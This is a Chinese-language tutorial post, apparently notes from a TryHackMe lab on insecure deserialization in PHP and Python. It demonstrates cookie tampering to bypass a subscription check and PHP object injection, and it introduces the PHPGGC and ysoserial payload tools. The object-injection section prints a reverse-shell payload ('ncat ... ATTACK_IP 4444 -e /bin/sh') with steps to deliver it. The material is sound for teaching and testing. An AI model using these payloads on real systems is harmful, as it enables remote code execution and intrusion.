Featured image of post 反序列化-1

反序列化-1

反序列化-1

重要概念

序列化

把序列化想象成早上收拾书包。你需要把书、笔记本、午餐盒和水瓶整理好放进书包里。序列化就像把不同的信息(比如笔记)放在一起,方便存储或发送给朋友。

image-20250424132745357

在编程中,序列化是将对象的状态转换为人类可读或二进制格式(或两者的混合)的过程,以便根据需要进行存储、传输和重构。对于需要在系统不同部分之间或跨网络传输数据的应用程序(例如基于 Web 的应用程序),此功能至关重要。在 PHP 中,此过程使用 serialize() 函数执行。

image-20250424132826851

例子

1
2
3
4
5
<?php
$noteArray = array("title" => "My THM Note", "content" => "Welcome to THM!");
$serialisedNote = serialize($noteArray);  // Converting the note into a storable format
file_put_contents('note.txt', $serialisedNote);  // Saving the serialised note to a file
?>

以下输出显示了 note.txt 文件中的序列化字符串,其中包含笔记结构和内容的详细信息。它以一种易于保存或传输的方式存储。

序列化注释a:2:{s:5:"title";s:12:"My THM Note";s:7:"content";s:12:"Welcome to THM!";}

反序列化

想象一下,你到了学校,需要用到今天早上打包好的所有东西。反序列化就像你上课时打开书包,把每件物品都拿出来,这样一整天都能用到。当你打开书包去拿书本和午餐时,反序列化会把打包好的数据重新转换成你可以使用的东西。反序列化是将格式化的数据转换回对象的过程。这对于从文件、数据库或网络检索数据,并将其恢复到原始状态以供应用程序使用至关重要。

image-20250424132845907

按照我们前面的例子,下面是如何在 PHP 中反序列化注释数据:

1
2
3
4
5
6
<?php
$serialisedNote = file_get_contents('note.txt');  // Reading the serialised note from the file
$noteArray = unserialize($serialisedNote);  // Converting the serialised string back into a PHP array
echo "Title: " . $noteArray['title'] . "<br>";
echo "Content: " . $noteArray['content'];
?>

这段代码从文件中读取序列化的笔记,并将其转换回数组,从而有效地重建原始笔记。讨论序列化也需要讨论安全性。就像你不希望有人篡改你的书包一样,不安全的反序列化可能会导致软件应用程序中出现严重的安全漏洞。攻击者可能会篡改序列化对象以执行未经授权的操作或窃取数据。

序列化格式

虽然不同的编程语言可能使用不同的关键字和函数进行序列化,但其基本原理是一致的。众所周知,序列化是将对象的状态转换为易于存储或传输,并在以后重建的格式的过程。无论是 Java、Python、.NET 还是 PHP ,每种语言都实现了序列化,以适应其环境固有的特定功能或安全措施。

image-20250424132956858

与利用用户输入的即时处理的其他常见漏洞不同,不安全的反序列化问题涉及与应用程序核心逻辑的更深层次的交互,通常会操纵其组件的基本行为。

现在,让我们探索如何在不同的语言中明确处理序列化,探索其功能、语法和独特的特性。

PHP 序列化

在 PHP 中,序列化是使用 serialize() 函数完成的。此函数将 PHP 对象或数组转换为表示对象数据和结构的字节流。生成的字节流可以包含各种数据类型,例如字符串、数组和对象,从而使其具有唯一性。为了说明这一点,我们以一个笔记应用程序为例,用户可以在其中保存和检索他们的笔记。我们将创建一个名为 Notes 的 PHP 类来表示每条笔记,并处理序列化和反序列化。

1
2
3
4
5
6
7
class Notes {
    public $Notescontent;

    public function __construct($content) {
        $this->Notescontent = $content;
    }
}

在我们的 Notes 应用中,当用户保存笔记时,我们会使用 PHP 的 serialize() 函数序列化 Notes 类对象。这会将对象转换为可存储在文件或数据库中的字符串表示形式。我们来看看以下序列化 Notes 类对象的代码片段:

1
2
$note = new Notes("TEST123");
$serialized_note = serialize($note);

序列化后它将生成如下所示的输出

1
O:5:"Notes":1:{s:7:"content";s:7:"TEST123";}

让我们解码输出:

  • O:5:"Notes":1: :此部分表示序列化数据代表 Notes 类的对象,该对象具有一个属性。
  • s:7:"content" :这表示属性名称“ content ”,长度为 7 个字符。在序列化数据中,字符串用 s 表示,后跟字符串长度,字符串用双引号括起来。整数用 i 表示 ,后跟不带引号的数值。
  • s:14:"TEST123" :这是内容属性的值,长度为 7 个字符。

魔法方法

PHP

PHP 提供了一些在序列化过程中起着至关重要作用的魔术方法 。下面列出了一些重要的方法:

  • __sleep() :此方法在对象序列化之前调用。它可以清理资源,例如数据库连接,并返回一个需要序列化的属性名称数组。
  • __wakeup() :此方法在反序列化时调用。它可以重新建立对象正常运行所需的任何连接。
  • __serialize() :从 PHP 7.4 开始,此方法允许您通过返回表示对象序列化形式的数组来自定义序列化数据。
  • __unserialize()__serialize() 的对应函数允许自定义从序列化数据中恢复对象。

image-20250424133605647

PYTHON

Python 使用名为 Pickle 的模块来序列化和反序列化对象。该模块将 Python 对象转换为字节流(反之亦然),使其能够保存到文件或通过网络传输。Pickling 对 Python 开发人员来说是一个强大的工具,因为它可以处理几乎所有类型的 Python 对象,而无需手动处理对象的状态。我们将在 Python 和 PHP 中遵循相同的笔记应用程序。以下是 app.py 类的代码片段:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import pickle
import base64

...
serialized_data = request.form['serialized_data']
notes_obj = pickle.loads(base64.b64decode(serialized_data))
message = "Notes successfully unpickled."
...

elif request.method == 'POST':
    if 'pickle' in request.form:
        content = request.form['note_content']
        notes_obj.add_note(content)
        pickled_content = pickle.dumps(notes_obj)
        serialized_data = base64.b64encode(pickled_content).decode('utf-8')
        binary_data = ' '.join(f'{x:02x}' for x in pickled_content)
        message = "Notes pickled successfully."

Pickling Process

  • 创建 Notes 类 :该类用于管理笔记列表。它提供了添加笔记和检索所有笔记的方法,方便管理应用程序的状态。
  • 序列化(Pickling) :当用户提交注释时,Notes 类实例(包括所有注释)将使用 pickle.dumps() 进行序列化。此函数将 Python 对象转换为二进制格式,以便 Python 稍后可以将其转换回对象。

显示序列化数据(Base64 编码)

  • 为什么使用 base64 编码 :序列化数据是二进制的,并非在所有环境下都适合安全显示。二进制数据可能包含一些字节,这些字节可能会干扰通信协议(例如 HTTP )。Base64 是一种将二进制数据转换为纯文本的编码方案。它只使用可读字符,因此即使在不支持二进制数据的通道上传输,也能保证安全。
  • 编码过程 :序列化 Notes 对象后,使用 base64.b64encode() 将二进制数据编码为 base64 字符串。此字符串可以安全地显示在 HTML 中,并且易于存储或传输。

image-20250424134002274

反序列化(Unpickling)

  • Base64 解码 :解封时,首先使用 base64.b64decode() 将 base64 字符串解码回二进制格式。
  • 反序列化 :然后将二进制数据传递给 pickle.loads() ,后者从二进制流中重建原始 Python 对象。

使用字符串"TEST123“进行序列化后可以得到:

  • Pickling :当此字符串被 pickle 时,它​​会被转换成人类无法读取的二进制格式。此二进制格式包含有关数据类型、数据本身以及重建对象所需的其他元数据的信息。
  • Base64 编码 :数据的二进制形式随后被编码为 Base64 字符串,可能看起来像 gASVIQAAAAAAAACMBFdlbGNvbWXCoGFkZYFdcQAu

在探索序列化格式时,我们讨论了如何在 PHP 和 Python 中实现这一关键功能。PHP 使用 serialize()unserialize() 函数将对象和其他数据类型转换为易于存储且易于重建的格式。同样,Python 使用 Pickle 模块将对象序列化为字节流,并将其反序列化回原始状态。

除了这两种语言之外,序列化是各种编程环境的共同特性,每种环境都有独特的实现和库。在 Java 中,对象序列化通过 Serializable 接口实现,允许将对象转换为字节流,反之亦然,这对于网络通信和数据持久性至关重要。对于 .NET,序列化多年来已经有了显著的发展。最初, BinaryFormatter 通常用于二进制序列化;但是, 由于安全问题, 现在不鼓励使用它 。现代 .NET 应用程序通常使用 System.Text.Json 进行 JSON 序列化,或使用 System.Xml.Serialization 进行 XML 任务,这反映了向更安全、更标准化的数据交换格式的转变。Ruby 通过其 Marshal 模块提供了简便性,该模块以序列化和反序列化对象而闻名,对于更易于人类阅读的格式,它通常使用 YAML 。每种语言的序列化方法都反映了其使用上下文和安全注意事项,强调了理解和正确实现序列化以确保跨 Web 应用程序的数据完整性和安全性的重要性。

鉴别

在彻底了解不同编程语言的序列化之后,我们将转向网络安全的一个关键方面,即利用和缓解与序列化相关的漏洞。在讨论漏洞利用技术的具体细节之前,务必了解如何识别应用程序中的这些漏洞,无论您是否能够访问代码(白盒测试)或是不能(黑盒测试)。

访问源代码

当可以访问源代码时,识别序列化漏洞会更加简单,但需要对要查找的内容有敏锐的理解。例如,通过代码审查,我们可以检查源代码中是否存在 serialize()unserialize()pickle.loads( ) 等序列化函数 。我们必须特别注意任何可能将用户提供的输入直接传递给这些函数的位置。

无法访问源代码

在无法访问源代码的情况下审计应用程序时,挑战在于仅根据外部观察和交互推断其如何处理数据。这通常被称为黑盒测试 。在这里,我们专注于检测服务器响应和 cookie 中的模式,这些模式可能表明使用了序列化和潜在的漏洞。作为一名渗透测试人员,在 PHP 文件名末尾附加波浪号 ~ 是攻击者用来尝试访问由文本编辑器或版本控制系统创建的备份或临时文件的常用技术。当编辑或保存文件时,某些文本编辑器或版本控制系统可能会在文件名后附加波浪号,制作原始文件的备份副本。

分析服务器响应

  • 错误消息 :某些错误消息可以间接表明序列化存在问题。例如,PHP 可能会抛出包含 **unserialize()**Object deserialisation error 等短语的错误或警告,这些短语会暴露底层序列化过程和潜在的漏洞。
  • 应用程序行为不一致 :响应被操纵的输入(例如,修改的 Cookie 或 POST 数据)时出现的异常行为可能表明数据反序列化和处理方式存在问题。观察应用程序如何处理被修改的序列化数据可以提供潜在漏洞代码的线索。

检查 Cookie

  • Cookie 中的 Base64 编码值( PHP 和 .NET) :如果 Cookie 包含看似 Base64 编码的数据,对其进行解码可能会发现序列化的对象或数据结构。PHP 通常使用序列化进行会话管理,并以序列化格式存储会话变量。
  • ASP.NET 视图状态 :.NET 应用程序可能会在发送到客户端浏览器的视图状态中使用序列化。有时可以看到一个名为 __VIEWSTATE 的字段,该字段采用 base64 编码。对其进行解码和检查可以揭示它是否包含可被利用的序列化数据。

漏洞利用-更新属性

更新对象的属性

在本任务中,我们将探索一个 PHP 实例,并以一个简单的笔记共享应用程序作为案例研究。我们的笔记共享应用程序允许用户轻松创建、保存和共享笔记。用户可以将笔记输入到应用程序中,然后将其保存以供将来参考。此外,用户还可以与他人共享笔记,从而促进协作和信息交换。该应用程序还包含基于订阅的功能,确保只有订阅用户才能访问某些功能,例如笔记共享。您可以通过链接 http://10.10.183.12/case1 访问该网站。

image-20250424140013116

让我们了解一下该应用程序是如何构建的。

定义 Notes 类

该应用程序有一个 Notes 类,代表我们应用程序中的一条注释。该类有三个私有属性: userroleisSubscribed 。我们还有 setter 和 getter 方法来操作 isSubscribed 属性。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
class Notes {

    private $user;
    private $role;
    private $isSubscribed;

    public function __construct($user, $role, $isSubscribed) {
        $this->user = $user;
        $this->role = $role;
        $this->isSubscribed = $isSubscribed;
    }

    public function setIsSubscribed($isSubscribed) {
        $this->isSubscribed = $isSubscribed;
    }

    public function getIsSubscribed() {
        return $this->isSubscribed;
 }
}

当用户首次访问我们的应用时,它会设置一个序列化的 Cookie,其中包含用户数据。这些数据包括用户名、角色和订阅状态( isSubscribed )。如果用户是付费会员( isSubscribed = true ),则允许他们分享笔记。

image-20250424135959233

利用漏洞

在此步骤中,我们将说明攻击者如何通过修改序列化的 cookie 值来利用此漏洞,以获得对共享笔记的未经授权的访问。

序列化 cookie :解码 base64 编码的 cookie 值后,我们获得 Notes 对象的以下序列化表示:

1
O:5:"Notes":3:{s:4:"user";s:5:"guest";s:4:"role";s:5:"guest";s:12:"isSubscribed";b:0;

我们已经知道,在 PHP 序列化过程中,如果属性名不是公开的,则类名会作为属性名的前缀,以确保唯一性并方便反序列化。这是 PHP 内部处理对象序列化和反序列化的方式之一。当一个对象被序列化时, PHP 会存储该对象的属性和类名。这确保了当对象稍后被反序列化时, PHP 知道要实例化哪个类,以及如何将序列化的数据正确地赋值给对象的属性。让我们将序列化注释分解成各个部分:

  • O:5:“Notes”:3 :这表示具有类名 Notes 的对象(O),它具有三个属性。
  • s:4:“user”;s:5:“guest” :这表示一个长度为 4 个字符的字符串,代表值为“ guest ”的属性 user
  • s:4:“role”;s:5:“guest” :与上一个类似,它表示值为“ guest ”的属性 role
  • s:12:“isSubscribed”;b:0 :这表示名为 isSubscribed 的布尔 (b) 属性,其值为 false (0)。

利用漏洞

在当前情况下,当用户想要尝试分享笔记时,他们会看到以下弹出窗口:

image-20250424140403414

那么后端发生了什么?后端 PHP 代码会验证传入的 Cookie,对其进行反序列化,然后验证用户是否已订阅。我们的主要任务就是绕过这一步。

假设攻击者拦截了此序列化的 Cookie 值,并将其 isSubscribed 属性从 false (0) 修改为 true (1)。攻击者可以通过更改序列化数据中的布尔值,在未经合法授权的情况下操纵订阅状态。

修改后,攻击者会再次对序列化数据进行 base64 编码,并用修改后的值替换原始 cookie 值。这将允许攻击者获得未经授权的访问权限,从而绕过预定的订阅限制,在其他平台上共享笔记。

image-20250424140743017

漏洞利用-对象注入

对象注入是一种由 Web 应用程序中不安全的数据反序列化引起的漏洞。当不受信任的数据被反序列化为对象时,攻击者可以利用该漏洞操纵序列化数据并执行任意代码,从而造成严重的安全风险。

众所周知,该漏洞源于序列化和反序列化过程,该过程允许将 PHP 对象转换为可存储格式(序列化),然后重建为对象(反序列化)。虽然序列化和反序列化对于数据存储和传输非常有用,但如果实施不当,也可能带来安全风险。

要利用 PHP 对象注入漏洞,应用程序必须包含一个包含 PHP 魔术方法(例如 __wakeup__sleep )的类,以便攻击者利用这些方法进行恶意攻击。所有涉及攻击的类都应在调用 unserialize() 方法之前声明(除非支持对象自动加载)。

例子

让我们考虑一个 index.php 代码片段,它展示了如何使用 serialize()unserialize() 函数进行序列化和反序列化。该代码接受 GET 参数的解码编码 ,并相应地转换用户提供的值。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class UserData {
    private $data;
    public function __construct($data) {
        $this->data = $data;
    }
..
require 'test.php';
if(isset($_GET['encode'])) {
    $userData = new UserData($_GET['encode']);
    $serializedData = serialize($userData);
    $base64EncodedData = base64_encode($serializedData);
    echo "Normal Data: " . $_GET['encode'] . "<br>";
    echo "Serialized Data: " . $serializedData . "<br>";
    echo "Base64 Encoded Data: " . $base64EncodedData;

} elseif(isset($_GET['decode'])) {
    $base64EncodedData = $_GET['decode'];
    $serializedData = base64_decode($base64EncodedData);
    $test = unserialize($serializedData);
    echo "Base64 Encoded Serialized Data: " . $base64EncodedData . "<br>";
    echo "Serialized Data: " . $serializedData;

...

例如,如果我们通过 URL http ://10.10.183.12/case2/?encode= hellothm 发送输入 hellothm ,我们将得到以下输出:

image-20250424141228400

我们看到代码中包含一个名为 test.php 的文件。通过查看源代码或考虑该框架是否开源,渗透测试人员知道 test.php 包含一个名为 MaliciousUserData 的类,如下所示:

1
2
3
4
5
6
7
8
9
<?php
class MaliciousUserData {
public $command = 'ncat -nv ATTACK_IP 10.10.10.1 -e /bin/sh'; // call to troubleshooting server
    
    public function __wakeup() { 
    exec($this->command);
...

?>

在上述代码中,通过不安全的反序列化,攻击者可以操纵对象的属性,包括修改 MaliciousUserData 类的 command 属性。这可以通过精心设计一个包含所需属性值的序列化字符串来实现。 例如,如果我们想要修改 command 属性以执行其他命令或连接到其他服务器,我们可以将一个对象序列化为所需的属性值,然后将其注入到存在漏洞的 unserialize() 函数中。这样,在反序列化时,被操纵的属性值将被加载到对象中。

需要注意的是,在不安全的反序列化过程中,您无法直接更新 __wakeup 方法本身的定义。__ __wakeup 方法是类定义的一部分,在反序列化过程中保持静态。但是,您可以在 __wakeup 方法中修改对象的行为或属性。这意味着,虽然该方法的定义保持不变,但其在反序列化时的操作可以被操纵以实现不同的结果。

准备Payload

如前所述,调用另一个类是 PHP 的常规功能,如果目标网站使用开源代码,您可以查看该文件的代码。index.php 的代码会盲目地反序列化输入,而不执行任何清理。这里有什么选择呢?如果我们修改 MaliciousUserData 类并修改其 command 属性,使得在调用 __wakeup 函数时,使用攻击者提供的值进行调用,结果会怎样?

创建一些 PHP 代码来生成恶意序列化的用户数据。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
class MaliciousUserData {
public $command = 'ncat -nv ATTACK_IP 4444 -e /bin/sh';
}

$maliciousUserData = new MaliciousUserData();
$serializedData = serialize($maliciousUserData);
$base64EncodedData = base64_encode($serializedData);
echo "Base64 Encoded Serialized Data: " . $base64EncodedData;
?>
  • 在上面的代码中, MaliciousUserData 类( test.php )的 _wakeup() 函数将使用 Ncat 执行反向 shell 命令,连接到指定的 IP 地址( ATTACK_IP )和端口( 4444 ),并使用 -e 标志以 shell 形式执行 /bin/sh
  • 创建文件后,通过终端执行 php index.php 。这将返回一个 base64 编码的 MaliciousUserData 类序列化对象。
  • 生成的 base64 编码字符串如下所示: TzoxNzoiTWFsaWNp[Redacted]
  • 使用 AttackBox 上的命令 nc -nvlp 4444 启动端口 4444 上的 Netcat 监听器。
  • 现在,是时候通过访问 URL http://10.10.183.12/case2/?decode=[SHELLCODE] 来解码 shellcode 来利用不安全的反序列化,而无需生成 shellcode。
  • 一旦访问该 URL,index.php 文件的反序列​​化函数就会对字符串进行反序列化并执行 __wakeup() 函数,从而进入远程 shell。

image-20250424142828650

自动化脚本

在渗透测试过程中,自动化脚本对于高效识别和利用 Web 应用程序中的漏洞至关重要。我们将探索一款名为 PHP Gadge Chain (PHPGGC) 的工具,它在此过程中发挥着至关重要的作用,能够自动发现不安全的反序列化漏洞。PHPGGC 类似于 Java 生态系统中的 Ysoserial,可帮助安全专业人员评估 PHP 应用程序的安全状况并降低潜在风险。

PHP 工具链 (PHPGGC)

PHPGGC 主要是一个用于生成 PHP 对象注入攻击中使用的小工具链的工具,专门用于利用与 PHP 对象序列化和反序列化相关的漏洞。

功能

  • 小工具链 :PHPGGC 为各种 PHP 框架和库提供了一个小工具链库。这些小工具链是对象和方法的序列,旨在当 PHP 应用程序不安全地反序列化用户提供的数据时利用特定的漏洞。
  • 有效载荷生成 :PHPGGC 的主要目的是促进生成可触发这些漏洞的序列化有效载荷。它帮助安全研究人员和渗透测试人员创建有效载荷,以展示不安全的反序列化漏洞的影响。
  • 有效载荷定制 :用户可以通过为小工具链中涉及的函数或方法指定参数来定制有效载荷,从而定制攻击以实现特定结果,例如编码。

可以从 GitHub 仓库下载 PHPGGC,已安装的版本已包含一些小工具链、PHP 对象序列以及旨在利用反序列化漏洞的方法调用。这些小工具链利用 PHP 的魔术方法来实现各种攻击目标,例如远程代码执行。

要列出所有可用的小工具链,您可以使用 PHPGGC 的 -l 选项,它将显示发起特定攻击的名称、版本、类型和向量。此外,您还可以根据小工具链的功能进行筛选,例如针对特定 PHP 框架或实现特定漏洞利用技术的链,方法是使用 -l 选项后跟筛选关键字(例如 Drupal、Laravel 等)。这样您就可以根据自己的利用场景选择合适的小工具链,如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
yrc@machine$ php phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                                 TYPE                      VECTOR          I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                      RCE: Command              __destruct           
CakePHP/RCE1                              ? <= 3.9.6                                              RCE: Command              __destruct           
CakePHP/RCE2                              ? <= 4.2.3                                              RCE: Command              __destruct           
CodeIgniter4/FD1                          <= 4.3.6                                                File delete               __destruct           
CodeIgniter4/FD2                          <= 4.3.7                                                File delete               __destruct           
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                          File read                 __toString      *    
CodeIgniter4/RCE1                         4.0.2                                                   RCE: Command              __destruct           
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                     RCE: Command              __destruct           
CodeIgniter4/RCE3                         4.0.4 <= 4.4.3                                          RCE: Command              __destruct           
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                              RCE: Command              __destruct        

例如, CakePHP/RCE1 的输出表示名为 CakePHP/RCE1 的小工具链利用了 CakePHP 3.9.6 及以上版本中的 RCE 漏洞 。该漏洞允许攻击者利用 __destruct 魔术方法在服务器上执行任意命令。

Java 版 Ysoserial

Ysoserial 是一款广受认可的漏洞利用工具,专门用于测试 Java 应用程序的序列化漏洞。它有助于生成利用这些漏洞的有效载荷,使其成为攻击者和渗透测试人员评估和利用 Java 序列化应用程序的必备工具。

要使用 Ysoserial,攻击者通常会使用类似 java -jar ysoserial.jar [payload type] '[command to execute]' 的命令生成有效载荷,其中 [payload type] 表示漏洞利用类型, [command to execute] 表示攻击者希望在目标系统上运行的任意命令。例如,使用 CommonsCollections1 有效载荷类型可能如下所示: java -jar ysoserial.jar CommonsCollections1 'calc.exe' 。此命令生成一个序列化对象,当被存在漏洞的应用程序反序列化时,该对象将执行指定的命令。Ysoserial 可在 GitHub 上下载

使用 Hugo 构建
主题 StackJimmy 设计